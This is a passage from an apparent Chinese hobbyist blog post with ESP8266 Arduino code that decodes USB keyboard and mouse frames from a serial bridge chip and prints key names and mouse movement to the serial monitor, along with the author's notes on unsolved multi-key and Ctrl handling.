"[RIGHT_ARROW]" ;} if (serialData = = 0x50 ){ return "[LEFT_ARROW]" ;} if (serialData = = 0x51 ){ return "[DOWN_ARROW]" ;} if (serialData = = 0x52 ){ return "[UP_ARROW]" ;} if (serialData = = 0x53 ){ return "[PAD_NUMLOCK]" ;} if (serialData = = 0x54 ){ return "[PAD_DIV]" ;} if (serialData = = 0x55 ){ return "[PAD_MUL]" ;} if (serialData = = 0x56 ){ return "[PAD_SUB]" ;} if (serialData = = 0x57 ){ return "[PAD_ADD]" ;} if (serialData = = 0x58 ){ return "[PAD_ENTER]" ;} if (serialData = = 0x59 ){ return "[PAD_1]" ;} if (serialData = = 0x5A ){ return "[PAD_2]" ;} if (serialData = = 0x5B ){ return "[PAD_3]" ;} if (serialData = = 0x5C ){ return "[PAD_4]" ;} if (serialData = = 0x5D ){ return "[PAD_5]" ;} if (serialData = = 0x5E ){ return "[PAD_6]" ;} if (serialData = = 0x5F ){ return "[PAD_7]" ;} if (serialData = = 0x60 ){ return "[PAD_8]" ;} if (serialData = = 0x61 ){ return "[PAD_9]" ;} if (serialData = = 0x62 ){ return "[PAD_0]" ;} if (serialData = = 0x63 ){ return "[PAD_DOT]" ;} if (serialData = = 0xE0 ){ return "[leftctrl]" ;} if (serialData = = 0xE2 ){ return "[leftAlt]" ;} if (serialData = = 0xE1 ){ return "[leftShift]" ;} if (serialData = = 0xE3 ){ return "[leftwindows]" ;} if (serialData = = 0xE7 ){ return "[rightwindows]" ;} if (serialData = = 0xE5 ){ return "[rightShift]" ;} if (serialData = = 0xE6 ){ return "[rightAlt]" ;} if (serialData = = 0xE4 ){ return "[rightCtrl]" ;} } |
程序1
ctrl没有搞定 多按键同时按下问题
鼠标移动 好像只是方向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 | #include <SoftwareSerial.h> SoftwareSerial mySerial(D2, D1); / / D2(RX), D1(TX) uint8_t buffer_stopMsg[] = { 0x57 , 0xAB , 0x12 , 0x00 , 0x00 , 0x00 , 0x00 , 0xFF , 0x80 , 0x00 , 0x20 }; uint8_t buffer_keyUse[] = { 0x57 , 0xAB , 0x12 , 0x00 , 0x00 , 0x00 , 0x00 , 0x07 , 0x07 , 0xAC , 0x20 }; void setup() { Serial.begin( 115200 ); mySerial.begin( 115200 ); Serial.println( "\n" ); / / 模式 0 开启键盘全部灯 开启使用 mySerial.write(buffer_keyUse, sizeof(buffer_keyUse)); delay( 1000 ); / / 模式 0 禁止回传状态帧 mySerial.write(buffer_stopMsg, sizeof(buffer_stopMsg)); delay( 1000 ); Serial.println( "开始运行..." ); } void loop() { / / Serial.println( "..." ); if (mySerial.available()) { / / comdata = mySerial.readStringUntil( 0x57 ); int comdata_ = mySerial.read(); / / Serial. print (String(comdata_, HEX )); / / Serial.println(String(comdata_, HEX )); / / 57 AB 88 0C 12 01 00 00 04 00 00 00 00 00 12 17 / / 57 ab 88 0b 21 10 00 00 2c 00 00 00 00 00 1a 46 Jiexi_Key(comdata_); } / / delay( 10 ); } int delay_time = 1 ; void Jiexi_Key( int comdata){ if (comdata = = 0x57 ) { delay(delay_time); comdata = mySerial.read(); if (comdata = = 0xAB ) { delay(delay_time); comdata = mySerial.read(); if (comdata = = 0x88 ) { delay(delay_time); comdata = mySerial.read(); if (comdata = = 0x0B ) { delay(delay_time); comdata = mySerial.read(); if (comdata = = 0x10 || comdata = = 0x11 ) { delay(delay_time); comdata = mySerial.read(); / / 00 delay(delay_time); comdata = mySerial.read(); / / 00 delay(delay_time); comdata = mySerial.read(); / / String key = getKey(comdata); Serial.println( "键盘: " + String(comdata, HEX ) + " 键值:" + key); } else if (comdata = = 0x21 || comdata = = 0x20 ) { delay(delay_time); comdata = mySerial.read(); delay(delay_time); int btn = mySerial.read(); / / delay(delay_time); int h22 = mySerial.read(); delay(delay_time); int h21 = mySerial.read(); delay(delay_time); int h12 = mySerial.read(); delay(delay_time); int h11 = mySerial.read(); delay(delay_time); int lun = mySerial.read(); String msg = "鼠标按键:" + String(btn, HEX ) + " 左右位移:" + String(h22, HEX ) + String(h21, HEX ) + " 前后位移:" + String(h12, HEX ) + String(h11, HEX ) + " 滑轮方向:" + String(lun, HEX ); Serial.println(msg); } else { / / Serial.println( "其他设备" ); } } } } } } String getKey(uint8_t serialData){ if (serialData = = 0x00 ){ return "";} if (serialData = = 0x04 ){ return "A" ;} if (serialData = = 0x05 ){ return "B" ;} if (serialData = = 0x06 ){ return "C" ;} if (serialData = = 0x07 ){ return "D" ;} if (serialData = = 0x08 ){ return "E" ;} if (serialData = = 0x09 ){ return "F" ;} if (serialData = = 0x0A ){ return "G" ;} if (serialData = = 0x0B ){ return "H" ;} if (serialData = = 0x0C ){ return "I" ;} if (serialData = = 0x0D ){ return "J" ;} if (serialData = = 0x0E ){ return "K" ;} if (serialData = = 0x0F ){ return "L" ;} if (serialData = = 0x10 ){ return "M" ;} if (serialData = = 0x11 ){ return "N" ;} if (serialData = = 0x12 ){ return "O" ;} if (serialData = = 0x13 ){ return "P" ;} if (serialData = = 0x14 ){ return "Q" ;} if (serialData = = 0x15 ){ return "R" ;} if (serialData = = 0x16 ){ return "S" ;} if (serialData = = 0x17 ){ return "T" ;} if (serialData = = 0x18 ){ return "U" ;} if (serialData = = 0x19 ){ return "V" ;} if (serialData = = 0x1A ){ return "W" ;} if (serialData = = 0x1B ){ return "X" ;} if (serialData = = 0x1C ){ return "Y" ;} if (serialData = = 0x1D ){ return "Z" ;} if (serialData = = 0x1E ){ return "[1 or !]" ;} if (serialData = = 0x1F ){ return "[2 or @]" ;} if (serialData = = 0x20 ){ return "[3 or #]" ;} if (serialData = = 0x21 ){ return "[4 or $]" ;} if (serialData = = 0x22 ){ return "[5 or %]" ;} if (serialData = = 0x23 ){ return "[6 or ^]" ;} if (serialData = = 0x24 ){ return "[7 or &]" ;} if (serialData = = 0x25 ){ return "[8 or *]" ;} if (serialData = = 0x26 ){ return "[9 or (]" ;} if (serialData = = 0x27 ){ return "[10 or )]" ;} if (serialData = = 0x28 ){ return "[ENTER]" ;} if (serialData = = 0x29 ){ return "[ESC]" ;} if (serialData = = 0x2A ){ return "[BACKSPACE]" ;} if (serialData = = 0x2B ){ return "[TAB]" ;} if (serialData = = 0x2C ){ return "[SPACE]" ;} if (serialData = = 0x2D ){ return "[- or _]" ;} if (serialData = = 0x2E ){ return "[= or +]" ;} if (serialData = = 0x2F ){ return "[[ or {]" ;} if (serialData = = 0x30 ){ return "[] or }]" ;} if (serialData = = 0x31 ){ return "[\\ or |]" ;} if (serialData = = 0x32 ){ return "[` or ~]" ;} if (serialData = = 0x33 ){ return "[; or :]" ;} if (serialData = = 0x34 ){ return "[' or ”]" ;} if (serialData = = 0x35 ){ return "[~ or `]" ;} if (serialData = = 0x36 ){ return "[, or <]" ;} if (serialData = = 0x37 ){ return "[. or >]" ;} if (serialData = = 0x38 ){ return "[/ or ?]" ;} if (serialData = = 0x39 ){ return "[CAPS]" ;} if (serialData = = 0x3A ){ return "[F1]" ;} if (serialData = = 0x3B ){ return "[F2]" ;} if (serialData = = 0x3C ){ return "[F3]" ;} if (serialData = = 0x3D ){ return "[F4]" ;} if (serialData = = 0x3E ){ return "[F5]" ;} if (serialData = = 0x3F ){ return "[F6]" ;} if (serialData = = 0x40 ){ return "[F7]" ;} if (serialData = = 0x41 ){ return "[F8]" ;} if (serialData = = 0x42 ){ return "[F9]" ;} if (serialData = = 0x43 ){ return "[F10]" ;} if (serialData = = 0x44 ){ return "[F11]" ;} if (serialData = = 0x45 ){ return "[F12]" ;} if (serialData = = 0x46 ){ return "[PRT_SCR]" ;} if (serialData = = 0x47 ){ return "[SCOLL_LOCK]" ;} if (serialData = = 0x48 ){ return "[PAUSE]" ;} if (serialData = = 0x49 ){ return "[INS]" ;} if (serialData = = 0x4A ){ return "[HOME]" ;} if (serialData = = 0x4B ){ return "[PAGEUP]" ;} if (serialData = = 0x4C ){ return "[DEL]" ;} if (serialData = = 0x4D ){ return "[END]" ;} if (serialData = = 0x4E ){ return "[PAGEDOWN]" ;} if (serialData = = 0x4F ){ return "[RIGHT_ARROW]" ;} if (serialData = = 0x50 ){ return "[LEFT_ARROW]" ;} if (serialData = = 0x51 ){ return "[DOWN_ARROW]" ;} if (serialData = = 0x52 ){ return "[UP_ARROW]" ;} if (serialData = = 0x53 ){ return "[PAD_NUMLOCK]" ;} if (serialData = = 0x54 ){ return "[PAD_DIV]" ;} if (serialData = = 0x55 ){ return "[PAD_MUL]" ;} if (serialData = = 0x56 ){ return "[PAD_SUB]" ;} if (serialData = = 0x57 ){ return "[PAD_ADD]" ;} if (serialData = = 0x58 ){ return "[PAD_ENTER]" ;} if (serialData = = 0x59 ){ return "[PAD_1]" ;} if (serialData = = 0x5A ){ return "[PAD_2]" ;} if (serialData = = 0x5B ){ return "[PAD_3]" ;} if (serialData = = 0x5C ){ return "[PAD_4]" ;} if (serialData = = 0x5D ){ return "[PAD_5]" ;} if (serialData = = 0x5E ){ return "[PAD_6]" ;} if (serialData = = 0x5F ){ return "[PAD_7]" ;} if (serialData = = 0x60 ){ return "[PAD_8]" ;} if (serialData = = 0x61 ){ return "[PAD_9]" ;} if (serialData = = 0x62 ){ return "[PAD_0]" ;} if (serialData = = 0x63 ){ return "[PAD_DOT]" ;} if (serialData = = 0xE0 ){ return "[leftctrl]" ;} if (serialData = = 0xE2 ){ return "[leftAlt]" ;} if (serialData = = 0xE1 ){ return "[leftShift]" ;} if (serialData = = 0xE3 ){ return "[leftwindows]" ;} if (serialData = = 0xE7 ){ return "[rightwindows]" ;} if (serialData = = 0xE5 ){ return "[rightShift]" ;} if (serialData = = 0xE6 ){ return "[rightAlt]" ;} if (serialData = = 0xE4 ){ return "[rightCtrl]" ;} } |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
2019-10-19 opencv4.0.0+cmake编译(含contrib)
2018-10-19 系统重新安装
2018-10-19 固态硬盘系统迁移使用
2017-10-19 ORB-SLAM2(3) ROS下实时跑ORB_SLAM2